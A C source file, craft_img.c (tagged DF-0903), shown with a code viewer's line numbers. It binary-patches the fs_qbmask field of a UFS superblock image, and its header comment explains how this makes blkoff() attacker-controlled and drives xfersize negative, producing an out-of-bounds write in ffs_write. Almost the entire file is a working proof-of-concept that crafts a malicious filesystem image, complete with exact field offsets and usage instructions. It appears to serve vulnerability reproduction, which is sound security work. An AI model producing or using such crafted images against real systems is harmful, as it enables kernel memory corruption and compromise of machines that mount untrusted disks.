DF-0903 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | /* * craft_img.c - DF-0903 superblock fs_qbmask patcher. * * Reads a base UFS image produced by `newfs`, binary-patches the * fs_qbmask field (8 bytes, little-endian int64) at its on-disk offset * (SBOFF=8192 + offsetof(struct fs, fs_qbmask)=1336 => file offset 9528), * and writes a crafted image. Used to reproduce the ffs_write OOB * documented in sys/vfs/ufs/ufs_readwrite.c:292-356. * * Background: * ffs_vfsops.c ffs_mountfs() copies the on-disk superblock into ump->um_fs * with bcopy (line 673) and only re-derives fs_qbmask = ~fs_bmask inside * ffs_oldfscompat() (line 814) IF fs_inodefmt < FS_44INODEFMT (=2). Modern * newfs sets fs_inodefmt = FS_44INODEFMT, so the on-disk fs_qbmask is used * verbatim and the blkoff() macro in fs.h:487-488 ((loc) & fs_qbmask) * becomes attacker-controlled. * * Field offsets verified via offsets.c on the guest (struct fs, sizeof=1384): * fs_bsize=48 fs_bmask=72 fs_bshift=80 fs_inodefmt=1324 * fs_qbmask=1336 fs_qfmask=1344 fs_postblformat=1356 fs_magic=1372 * * Build: cc -o craft_img craft_img.c * Usage: craft_img <base.img> <out.img> [qbmask_hex] * qbmask_hex defaults to 0x3fff (crafted; normally fs_bsize-1 = 0x1fff for * fs_bsize=8192). Must be > (fs_bsize-1) to make blkoff() > fs_bsize and * thus xfersize = fs_bsize - blkoffset go negative. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #define SBOFF 8192 /* offsetof(struct fs, ...) — must match guest offsets.c output. */ #define OFF_FS_BSIZE 48 #define OFF_FS_BMASK 72 #define OFF_FS_BSHIFT 80 #define OFF_FS_INODEFMT 1324 #define OFF_FS_QBMASK 1336 /* int64, 8 bytes */ #define OFF_FS_QFMASK 1344 #define OFF_FS_MAGIC 1372 static int32_t rd_i32(const unsigned char *p){ return (int32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); } static int64_t rd_i64(const unsigned char *p){ uint64_t v = 0; for (int i=0;i<8;i++) v |= (uint64_t)p[i] << (8*i); return (int64_t)v; } static void wr_i64(unsigned char *p, int64_t v){ uint64_t u = (uint64_t)v; for (int i=0;i<8;i++) p[i] = (unsigned char)((u >> (8*i)) & 0xff); } int main(int argc, char **argv){ if (argc < 3) { fprintf(stderr, "usage: %s base.img out.img [qbmask_hex]\n", argv[0]); return 2; } const char *base = argv[1]; const char *out = argv[2]; int64_t qbmask = 0x3fff; if (argc >= 4) { qbmask = (int64_t)strtoll(argv[3], NULL, 0); } FILE *f = fopen(base, "rb"); if (!f) { perror("open base"); return 2; } fseek(f, 0, SEEK_END); long sz = ftell(f); fseek(f, 0, SEEK_SET); unsigned char *buf = malloc(sz); if (!buf) { perror("malloc"); return 2; } if ((long)fread(buf, 1, sz, f) != sz) { perror("read"); return 2; } fclose(f); /* Sanity: superblock magic at SBOFF+OFF_FS_MAGIC should be 0x011954. */ int32_t magic = rd_i32(buf + SBOFF + OFF_FS_MAGIC); if (magic != 0x011954) { fprintf(stderr, "ERROR: base image fs_magic=0x%x (expected 0x011954)\n", (unsigned)magic); return 2; } int32_t fs_bsize = rd_i32(buf + SBOFF + OFF_FS_BSIZE); int32_t fs_bmask = rd_i32(buf + SBOFF + OFF_FS_BMASK); int32_t fs_bshift = rd_i32(buf + SBOFF + OFF_FS_BSHIFT); int32_t fs_inodefmt = rd_i32(buf + SBOFF + OFF_FS_INODEFMT); int64_t fs_qbmask_o = rd_i64(buf + SBOFF + OFF_FS_QBMASK); printf("BEFORE PATCH:\n"); printf(" fs_bsize = %d (0x%x)\n", fs_bsize, (unsigned)fs_bsize); printf(" fs_bmask = 0x%08x\n", (unsigned)fs_bmask); printf(" fs_bshift = %d\n", fs_bshift); printf(" fs_inodefmt = %d (FS_44INODEFMT=2; >=2 means on-disk qbmask used verbatim)\n", fs_inodefmt); printf(" fs_qbmask = 0x%016llx (~fs_bmask = 0x%08x)\n", (unsigned long long)fs_qbmask_o, (unsigned)(~fs_bmask)); /* Patch fs_qbmask. */ wr_i64(buf + SBOFF + OFF_FS_QBMASK, qbmask); /* Re-read for confirmation. */ int64_t fs_qbmask_n = rd_i64(buf + SBOFF + OFF_FS_QBMASK); printf("AFTER PATCH:\n"); printf(" fs_qbmask = 0x%016llx\n", (unsigned long long)fs_qbmask_n); printf(" => blkoff(offset) = offset & 0x%llx\n", (unsigned long long)fs_qbmask_n); printf(" => xfersize = fs_bsize - blkoffset can go NEGATIVE for offset & 0x%llx >= %d\n", (unsigned long long)fs_qbmask_n, fs_bsize); /* Pick a sample offset to demonstrate. */ long long demo = (fs_bsize + (fs_bsize/4)) & fs_qbmask_n; /* ensure within mask */ if (demo < fs_bsize) demo += fs_bsize; /* push into negative-xfersize region */ long long demo_xfersize = fs_bsize - demo; printf(" demo: write at offset %lld => blkoffset=%lld, xfersize=%lld\n", demo, demo, demo_xfersize); FILE *o = fopen(out, "wb"); if (!o) { perror("open out"); return 2; } if ((long)fwrite(buf, 1, sz, o) != sz) { perror("write"); return 2; } fclose(o); free(buf); printf("wrote %s (%ld bytes)\n", out, sz); return 0; } |